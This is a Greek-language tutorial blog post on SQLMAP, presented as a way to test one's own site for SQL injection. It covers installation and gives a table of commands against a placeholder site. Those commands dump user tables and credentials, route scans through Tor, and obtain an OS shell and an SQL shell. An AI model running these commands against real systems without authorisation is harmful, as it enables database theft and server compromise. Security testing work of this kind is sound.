ΑρχικήHow ToSQLMAP: Πως να ελέγξετε το site σας για SQL ευπάθειες

SQLMAP: Πως να ελέγξετε το site σας για SQL ευπάθειες

Στο χώρο του ethical hacking, το SQLMAP αποτελεί το κατεξοχήν εργαλείο για εύρεση ευπαθειών που βασίζονται στο SQL injection. Αποτελεί μια open source λύση, γραμμένη σε γλώσσα python η οποία αυτοματοποιεί τη διαδικασία εύρεσης και εκμετάλλευσης ευπαθειών SQL με τελικό σκοπό τo πλήρη έλεγχο της βάσης δεδομένων και του server στον οποίο βρίσκεται.

sqlmap

Περιλαμβάνει αρκετές λειτουργίες όπως αναγνώριση της βάσης δεδομένων (database fingerprinting), συλλογή δεδομένων αλλά και εκτέλεση εντολών σε λειτουργικά συστήματα. Το εργαλείο SQLMΑP μπορεί να χρησιμοποιηθεί για τους παρακάτω σκοπούς:

  • Έλεγχος μιας διαδικτυακής εφαρμογής (web application) για ευπάθεια SQL injection
  • Εκμετάλλευση της ευπάθειας SQL injection
  • Εξαγωγή δεδομένων της βάσης και των χρηστών της
  • Παράκαμψη του τείχους προστασίας της διαδικτυακής εφαρμογής (Web Application Firewall – WAF)
  • Πλήρης έλεγχος του λειτουργικού συστήματος της βάσης

Μερικά από τα πιο σημαντικά χαρακτηριστικά του SQLMΑP φαίνονται παρακάτω:

  • Μπορεί να υποστηρίξει τεχνολογίες MySQL, Oracle, PostgreSQL, Microsoft Access, Microsoft SQL Server, IBM DB2, SQLite, Firebird και Sybase.
  • Επίσης υποστηρίζει 6 διαφορετικές τεχνικές SQL injection: boolean-based blind, error-based, UNION query, time-based blind, stacked queries και out-of-band.
  • Υποστηρίζει την εύρεση hashed κωδικών πρόσβασης χρησιμοποιώντας την τεχνική επίθεσης λεξικού.
  • Επιτρέπει την ανίχνευση χρηστών, hashed κωδικών πρόσβασης, ρόλων, δικαιωμάτων, βάσεων, πινάκων και στηλών.

Τι είναι το SQL injection;

Το SQL injection αποτελεί μια τεχνική hacking όπου ο επιτιθέμενος, μέσω της τροποποίησης του URL ή κάποιου άλλου πεδίου εισαγωγής χαρακτήρων της διαδικτυακής εφαρμογής, μπορεί να εισάγει SQL εντολές απευθείας μέσα στη βάση δεδομένων. Αυτό έχει σαν αποτέλεσμα την παράκαμψη των τεχνικών ασφάλειας της εφαρμογής και κατά συνέπεια ο επιτιθέμενος μπορεί να εξάγει δεδομένα από όλη τη βάση, να την τροποποιήσει ακόμα και να την διαγράψει.

Πρόκειται για μια από τις πιο παλιές αλλά και πιο επικίνδυνες επιθέσεις σε web εφαρμογές. Ο οργανισμός OWASP (Open Web Application Security Project) κατατάσσει τις απειλές injection στο νούμερο ένα της λίστας με τις Top 10 απειλές ασφάλειας των web εφαρμογών (OWASP Top 10).

Πως να το χρησιμοποιήσετε

To SQLMΑP διατίθεται για λειτουργικά συστήματα Windows, Linux και Mac. Θα το βρείτε προ-εγκατεστημένο στο Linux distro για penetration testing, Kali Linux.

Windows 

To πρώτο βήμα που θα πρέπει να ακολουθήσετε είναι να κατεβάσετε (αν δεν το έχετε ήδη) τον python interpreter – θυμηθείτε ότι το εργαλείο είναι γραμμένο σε python. Μπορείτε να κατεβάσετε την τελευταία του έκδοση από εδώ (v 3.8.0).

Αφού έχετε ολοκληρώσει την εγκατάσταση της python επιτυχώς, ακολουθήστε τα παρακάτω βήματα:

  1. Κατεβάστε το zip αρχείο από το site του SQLMAP.
  2. Αποσυμπιέστε το φάκελο και τα περιεχόμενά του στη τοποθεσία που επιθυμείτε
  3. Ανοίξτε μια cmd κονσόλα και περιηγηθείτε στη τοποθεσία που αποσυμπιέσατε το φάκελο από το προηγούμενο βήμα.
  4. Τρέξτε την εντολή sqlmap.py …. Και δείτε όλες τις δυνατές επιλογές σας.
  5. Είστε έτοιμοι

sqlmap SQL

Linux

Σχεδόν σε όλα τα Linux distros η Python είναι εγκατεστημένη by default. Αν δεν είστε σίγουροι, ανοίξτε ένα terminal και πληκτρολογήστε python –version. Αν όντως η python είναι εγκατεστημένη η παραπάνω εντολή θα σας δείξει το version.

SQL

Στη συνέχεια εκτελέστε τις παρακάτω εντολές για να ολοκληρώσετε την εγκατάσταση του εργαλείου:

sudo apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-devpython sqlmap.py

Η τελευταία εντολή θα προβάλλει στην οθόνη μας κάτι που μοιάζει με το παρακάτω:

sqlmap

Πως να το χρησιμοποιήσετε

Ακολουθούν βασικές εντολές που μπορείτε να χρησιμοποιήσετε με το SQLMΑP και η περιγραφή τους:

Εντολή Περιγραφή
sqlmap -u “http://site.com/login.php” Απλός έλεγχος συγκεκριμένου URL
sqlmap -u “http://site.com/login.php” –tor –tor-type=SOCKS5 ‘Ελεγχος χρησιμοποιώντας tor
sqlmap -u “http://site.com/login.php” –time-sec 20 Έλεγχος, ορίζοντας το χρονικό περιθώριο
sqlmap -u “http://site.com/login.php” –dbs Επιλογή επιστροφής όλων των βάσεων δεδομένων μιας web εφαρμογής
sqlmap -u “http://site.com/login.php” -D site_db –tables Επιστροφή του περιεχομένου μιας συγκεκριμένης βάσης
sqlmap -u “http://site.com/login.php” -D site_db -T users –dump Επιστροφή του περιεχομένου ενός συγκεκριμένου πίνακα
sqlmap -u “http://site.com/login.php” -D site_db -T users –columns Επιστροφή όλων των στηλών σε ένα πίνακα
sqlmap -u “http://site.com/login.php” -D site_db -T users -C username,password –dump Επιστροφή περιεχομένου συγκεκριμένων στηλών
sqlmap -u “http://site.com/login.php” –method “POST” –data “username=admin&password=admin&submit=Submit” -D social_mccodes -T users –dump Επιστροφή πίνακα όταν έχουμε στη κατοχή μας τα admin στοιχεία εισόδου
sqlmap –dbms=mysql -u “http://site.com/login.php” –os-shell Επιστροφή OS Shell
sqlmap –dbms=mysql -u “http://site.com/login.php” –sql-shell Επιστροφή SQL Shell

Μπορείτε να βρείτε ένα πιο αναλυτικό cheetseat για το SQLMAP εδώ.

Περιμένουμε τα σχόλιά σας…

Stormi
Stormi
Here’s to the crazy ones, the misfits, the rebels, the troublemakers...

Εγγραφή στο Newsletter

* indicates required

FOLLOW US

LIVE NEWS